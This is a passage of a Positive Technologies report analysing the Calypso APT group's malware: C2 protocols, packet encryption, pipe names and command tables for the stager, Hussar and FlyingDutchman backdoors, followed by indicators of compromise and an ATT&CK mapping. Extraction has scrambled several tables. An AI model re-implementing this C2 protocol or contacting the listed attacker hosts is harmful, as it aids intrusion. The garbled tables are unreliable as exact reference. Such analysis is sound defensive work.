the malware From the malware From the malware From the malware From the malware Command Response Response Response Assign session ID. This ID will be used to launch containers in this session ID used in empty heartbeat packets (the first thread described earlier) ID of packet containing information on the infected computer ID of packet sent after an accepted session ID is saved (command 0x207) ID of packet sent after module is successfully placed Response inside a container. This code is sent after the module is launched in a different session Response Response Response Response Same as 0x304, but the module is launched in the same session as the stager ID of packet containing data piped by module in a container launched in the same session as the stager Similar to 0x406, but from a module launched in a different session ID of packet sent if no handle of a logged-in user's session token could be obtained ID of packet sent if session-related information could not be obtained. Before the packet is sent, the 0x408 From the malware shellcode checks the OS version. If the version is Response earlier than Vista, data is regarded as impossible to obtain in the manner implemented in the malware, because the Windows API functions it uses are present only in Vista and later. Network code Network communication is initialized after the network key is received from C2. To do that, the malware sends a random sequence of 12 bytes to C2. In response the malware also expects 12 bytes, the zero offset of which must contain the same value (_DWORD) as prior to sending. If the check is successful, four bytes at offset 8 are taken from the response and decrypted with RC4. The key is four bytes sent previously, also located at offset 8. This result is the network key. The key is saved and then used to send data. All transmitted packets have the following structure. struct Packet{ struct PacketHeader{ _ DWORD key; _ WORD cmdId; _ WORD szPacketPayload; _ DWORD moduleId; _ BYTE [max 0xF000] packetPayload; A random four-byte key is generated for each packet. It is later used to encrypt part of the header, starting with the cmdld field. The same key is used to encrypt the packet payload. Encryption uses the RC4 algorithm. The key itself is encrypted by XOR with the network key and saved to the corresponding field of the packet header. Shellcode x64: stager (base backdoor) This shellcode is very similar to the previous one, but it deserves a separate description because of differences in its network code and method of launching modules. This shellcode has basic functions for file system interaction which are not available in the shellcode described earlier. Also the configuration format, network code, and network addresses used as C2 by this shellcode are similar to code from a 2018 blog post by NCC Group about a Gh0st RAT variant. However, we did not find a connection to Gh0st RAT. This variant of the shellcode has only one communication channel, via SSL. The shellcode implements it with two legitimate libraries, libeay32.dll and ssleay32.dll, hard-coded in the shellcode itself. First the shellcode performs a dynamic search for API functions and loads SSL libraries. The libraries are not saved to disk; they are read from the shellcode and mapped into memory. Next the malware searches the mapped image for the functions it needs to operate. Then it parses the configuration string, which is also hard-coded in the shellcode. The configuration includes information on addresses of C2 servers and schedule for malware operation. Days of the week Figure 20. Sample of configuration string nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/ decoding-network-data-from-a-gh0st-rat-variant/ After that the malware starts its main operating cycle. It checks if the current time matches the malware operational time. If not, the malware sleeps for about 7 minutes and checks again. This happens until the current time is the operational time, and only then does the malware resume operation. Figure 20 demonstrates an example in which the malware remains active at all times on all days of the week. When the operational time comes, the malware goes down the list of C2 servers specified in the configuration and tries to connect. The malware subsequently interacts with whichever of the C2 servers it is able to successfully connect to first. Then the malware sends the information on the infected computer (such as computer name, current date, OS version, 32-bit vs. 64-bit OS and CPU, and IP addresses on network interfaces and their MAC addresses). After the information on the infected computer is sent, the malware expects a response from C2. If C2 returns the relevant code, sending is deemed successful and the malware proceeds. If not, the malware goes back to sequentially checking C2 addresses. Next it starts processing incoming commands from C2. Modules Each module is a valid MZPE file mapped in the address space of the same process as the shellcode. Also the module can export the GetClassObject symbol, which receives control when run (if required). Each module has its own descriptor created by a command from C2. The C2 server sends a byte array (0x15) describing the module. The array contains information on the module: whether the module needs to be launched via export, module type (in other words, whether it needs pipes for communicating with C2), module size, entry point RVA (used if there is no flag for launching via export), and module data decryption key. The key is, by and large, the data used to format the actual key. Figure 21. Module decryption We should also point out that decryption takes place only if modKey is not equal to the 7AC9h constant hard-coded in the shellcode. This check affects only the decryption process. If modKey does equal the constant, the malware will immediately start loading the module. This means the module is not encrypted. Each module is launched in a separate thread created specially for that purpose. Launching with pipes looks as follows: The malware creates a thread for the module, starts mapping the module, and gives it control inside the newly created thread. The malware creates a new connection to the current working C2. The malware creates a pipe with the name derived from the following format string: \\.\ pipe\windows@#%02XMon (%02X is replaced by a value that is received from 2 at the same time as the command for launching the module). The malware launches two threads passing data from the pipe to C2 and vice versa, using the connection created during the previous step. Two more pipes, \\.\pipe\windows@#%02Xfir and \\.\pipe\windows@#%02Xsec, are created inside the threads. The pipe ending in "fir" is used to pass data from the module to C2. The pipe ending in "sec" is used to pass data and commands from C2 to the modules. The second thread processing the commands from C2 to the modules has its own handler. This is described in more details in the Commands section. For now we can only say that one of the commands can start a local asynchronous TCP server. That server will accept data from whoever connects to it, send it to C2, and forward it back from C2. It binds to 127.0.0.1 at whichever port it finds available, starting from 5000 and trying possible ports one by one. Commands The following is a list of IDs for commands the malware can receive, along with commands the malware itself sends in various situations. Direction Type Description 0x294C From Command Create module descriptor 0x2AC8 From Command Receive data containing the module, and save it 0x230E From Command Launch module without creating additional pipes 0x2D06 From Command Destroy module descriptor object 0x590A From Command Launch built-in module for file system access 0x3099 From Command Launch module and create additional pipes for communication Self-removal: run a BAT script removing persistence 0x1C1C From Command 0x55C3 From Command Upload file from computer to C2 0x55C5 From Command List directories recursively and clearing the created directories 0x55C7 From Command Download file from C2 to computer 0x3167 From Command Write data to pipe ending in "Mon" 0x38AF From Command After that, end the open connection for the module. Write command 0x38AF to pipe ending in "Mon". Possibly means "complete module operation" 0x3716 From Command Send module data to a different module 0x3A0B From Command Same as 0x3099 0x3CD0 From Command From the Response 0x129E malware Start an asynchronous TCP server to shuttle data between C2 and connected client ID of a packet containing information about the computer ID of the packet sent by C2 in response to 0x132A From Response information sent regarding the infected computer. The malware treats receipt of this packet as confirming successful receipt of such information ID of the packet containing information regarding 0x155B From the malware Response the initialized module descriptors. The packet acts as "GetCommand". Response to this packet contains one of the supported commands 0x2873 0x2D06 0x2873 0x2743 From the malware From the malware From the malware From the malware Response Response ID of the packet that is sent if a module descriptor has been initialized successfully (0x294c) ID of the packet that is sent if an error has occurred during module descriptor initialization (0x294c) the packet that is sent after module data has been Response received (0x2AC8). Contains the amount of bytes already saved Response ID of the packet that is sent after a module is launched without pipes (0x230E) 0x2D06 0x3F15 0x32E0 0x34A7 0x9F37 From the malware From the malware From the malware From the malware From the malware Response Response ID of the packet that is sent after a module descriptor has been destroyed (0x2D06) ID of the packet that is sent after a module is launched with pipes ID of the packet that is sent if there has been an Response attempt to reinitialize the pipes already created for a module Response Response ID of the packet containing the data sent from the pipe to C2 ID of the packet containing the data forwarded from the TCP server to C2 Network code Each packet has the following structure: Struct Packet{ Struct Header{ _ DWORD rand _ k1; _ DWORD rand _ k2; _ DWORD rand _ k3; _ DWORD szPaylaod; _ DWORD protoConst; _ DWORD packetId; _ DWORD unk1; _ DWORD packetKey; _ BYTE [max 0x2000] packetPayload; Each packet has a unique key calculated as szPayload + GetTickCount() % hardcodedConst. This key is saved in the corresponding packetKey header field. It is used to generate another key for encrypting the packet header with RC4 (encryption will not occur without the packetKey field). RC4 key generation is demonstrated in the following figure. Figure 22. Generating RC4 key for the header Then yet another RC4 key is generated from the encrypted fields szPayload, packetId, protoConst, and rand_k3. This key is used to encrypt the packet payload. Figure 23. Generating RC4 key for the packet payload Next the shellcode forms the HTTP headers and the created packet is sent to C2. In addition, each packet gets its own number, indicated in the URL. Modules may pass their ID, which is used to look up the connection established during module launch. Module ID 0 is reserved for the main connection of the stager. Figure 24. Forming HTTP headers Other options As we noted, the dropper may be configured to launch not just shellcode, but executable files too. We found the same dropper-stager but with different payloads: Hussar and FlyingDutchman. Dropper-stager The main tasks of this dropper are unpacking and mapping the payload, which is encoded and stored in resources. The dropper also stores encoded configuration data and passes it as a parameter to the payload. Figure 25. Unpacking the payload Hussar In essence Hussar is similar to the shellcodes described earlier. It allows loading modules and collecting basic information about the computer. It can also add itself to the list of authorized applications in Windows Firewall. Initialization To start, the malware parses the configuration provided to it by the loader. Figure 26. Configuration sample Configuration structure is as follows: Struct RawConfig{ _ DWORD protocolId; _ BYTE c2Strings [0x100]; The protocolId field indicates the protocol to be used for communicating with C2. There are a total of three possibilities: If protocolId equals 1, a TCP-based protocol will be used. If protocolId equals 2, the protocol will be HTTP-based. If protocolId equals 3, it will be HTTPS-based. The time stamp is calculated from the registry from the key SOFTWARE\Microsoft\Windows\ CurrentVersion\Telephony (Perf0 value). If reading the time stamp is impossible, "temp" is added to the computer identifier. Figure 27. Generating computer ID Next Hussar creates a window it will use for processing incoming messages. Figure 28. Creating dispatcher window Then the malware adds itself to the list of authorized applications in Windows Firewall, using the INetFwMgr COM interface. To complete initialization, Hussar creates a thread which connects to C2 and periodically polls for commands. The function running in the thread uses the WSAAsyncSelect API to notify the window that actions can be performed with the created connection (socket is "ready for reading," "connected," or "closed"). Figure 29. Communication between the open socket and the window In general, for transmitting commands, the malware uses the window and Windows messaging mechanism. The window handle is passed to the modules, and the dispatcher has branches not used by the stager, so we can assume that the modules can use the window for communication with C2. Modules Each module is an MZPE file loaded into the same address space as the stager. The module must export the GetModuleInfo function, which is called by the stager after image mapping. Identifier Direction Type Description Collect information on the infected computer (such as OS version, user name, computer 0x835 From Command name, and string containing current time and processor name based on registry data, plus whether the OS is 64-bit) 0x9CA4 From Command Load module. Module data comes from C2 Command Transmit data from LPARAM to C2 Command Command 0xC358 (Window MSG Code) 0xC359 (Window MSG Code) Transmit C2 configuration to the module. Module ID is transmitted to LPARAM 0x834, 0x835, 0x838, 0x9CA4, none Transmit the received packet to the module. Module ID is sent from C2 of these FlyingDutchman The payload provides remote access to the infected computer. It includes functions such as screenshot capture, remote shell, and file system operations. It also allows managing system processes and services. It consists of several modules. Module ID CMD ID Direction Type Description 0xafc8 0xAFD3 From Command Module ping Sends information about the infected computer (such as OS version and installed service 0xAFD4 From Command packs, processor name, string containing current time and screen resolution, and information about free and used disk space) 0xAFD5 From Command Sends list of processes running on the system 0xAFD7 From Command 0xAFD9 From Command 0xAFDA From Command 0xAFDB From Command Maximize window 0xAFDC From Command Minimize window 0xAFDD From Command Show window 0xAFDE From Command Hide window End process. Process PID is transmitted from Sends list of current windows on the system, along with their titles Send WM_CLOSE message to a specific window 0xAFE0 From Command Sends list of current services on the system Modifies the status of an existing service. Service name is obtained from C2. It can 0xAFE1 From Command launch a service or change its status to STOP, PAUSE, or CONTINUE. C2 indicates which status to change to 0xabe0 0xAFE2 From Command 0xAFE3 From Command 0xABEB From Command Delete existing service. Service name is received from C2 Change service start type. Service name is received from C2 Module ping Launch the process for transmitting screen0xABEC From Command shots from the infected computer. Screenshots are taken every second 0xABED From Command 0xABF1 From Command 0xA803 From Command Pause screenshot capture process Stop taking screenshots. The module stops running Run cmd.exe plus a thread, which will read 0xa7f8 console output data from the related pipe and send it to C2 0xa410 0xA804 From Command 0xA805 From Command 0xA41B From Command Write command to the pipe linked to STDIN of the cmd.exe created previously Stop the cmd.exe process and all associated pipes. The module stops running Sends information about system disks and their types Sends directory listing. The relevant directory 0xA41C From Command 0xA41E From Command Upload file from the computer to C2 0xA41F From Command Run file 0xA420 From Command Delete file 0xA421 From Command Download file from C2 0xA424 From Command Move file 0xA425 From Command Create directory 0xA426 From Command File Touch 0xA428 From Command path is obtained via C2 Sends the size of a file to C2. File path is passed via C2 Conclusion The group has several successful hacks to its credit, but still makes mistakes allowing us to guess its origins. All data given here suggests that the group originates from Asia and uses malware not previously described by anyone. The Byeby trojan links the group to SongXY, encountered by us previously, which was most active in 2017. We keep monitoring the activities of Calypso closely and expect the group will attack again. Indicators of compromise Network 23.227.207.137 45.63.96.120 45.63.114.127 r01.etheraval.com tc.streleases.com tv.teldcomtv.com krgod.qqm8.com File indicators Droppers and payload C9C39045FA14E94618DD631044053824 Dropper E24A62D9826869BC4817366800A8805C F0F5DA1A4490326AA0FC8B54C2D3912D Shellcode CB914FC73C67B325F948DD1BF97F5733 Dropper 6347E42F49A86AFF2DEA7C8BF455A52A 0171E3C76345FEE31B90C44570C75BAD Shellcode 17E05041730DCD0732E5B296DB16D757 Dropper 69322703B8EF9D490A20033684C28493 22953384F3D15625D36583C524F3480A Shellcode 1E765FED294A7AD082169819C95D2C85 Dropper C84DF4B2CD0D3E7729210F15112DA7AC ACAAB4AA4E1EA7CE2F5D044F198F0095 Shellcode Droppers with the same payload 85CE60B365EDF4BEEBBDD85CC971E84D dropper 1ED72C14C4AAB3B66E830E16EF90B37B dropper CB914FC73C67B325F948DD1BF97F5733 dropper Payload without dropper E3E61F30F8A39CD7AA25149D0F8AF5EF 974298EB7E2ADFA019CAE4D1A927AB07 Shellcode AA1CF5791A60D56F7AE6DA9BB1E7F01E 05F472A9D926F4C8A0A372E1A7193998 Shellcode 0D532484193B8B098D7EB14319CEFCD3 E1A578A069B1910A25C95E2D9450C710 Shellcode 2807236C2D905A0675878E530ED8B1F8 847B5A145330229CE149788F5E221805 Shellcode D1A1166BEC950C75B65FDC7361DCDC63 CCE8C8EE42FEAED68E9623185C3F7FE4 Shellcode Hussar 43B7D48D4B2AFD7CF8D4BD0804D62E8B 617D588ECCD942F243FFA8CB13679D9C FlyingDutchman 5199EF9D086C97732D97EDDEF56591EC 06C1D7BF234CE99BB14639C194B3B318 MITRE ATT&CK Tactic Name Execution T1059 Command-Line Interface Persistence T1060 Registry Run Keys / Startup Folder T1053 Scheduled Task T1158 Hidden Files and Directories T1027 Obfuscated Files or Information T1085 Rundll32 T1064 Scripting Credential Access T1003 Credential Dumping Discovery T1087 Account Discovery T1046 Network Service Scanning T1135 Network Share Discovery T1082 System Information Discovery Lateral Movement T1097 Pass the Ticket Collection T1114 Email Collection T1113 Screen Capture T1005 Data from Local System T1043 Commonly Used Port T1024 Custom Cryptographic Protocol T1001 Data Obfuscation Defense Evasion Command And Control About Positive Technologies Positive Technologies is a leading global provider of enterprise security solutions for vulnerability and compliance management, incident and threat analysis, and application protection. Commitment to clients and research has earned Positive Technologies a reputation as one of the foremost authorities on Industrial Control System, Banking, Telecom, Web Application, and ERP security, supported by recognition from the analyst community. Learn more about Positive Technologies at ptsecurity.com. ptsecurity.com info@ptsecurity.com 2019 Positive Technologies. Positive Technologies and the Positive Technologies logo are trademarks or registered trademarks of Positive Technologies. All other trademarks mentioned herein are the property of their respective owners. Calypso APT_A4.ENG.0002.02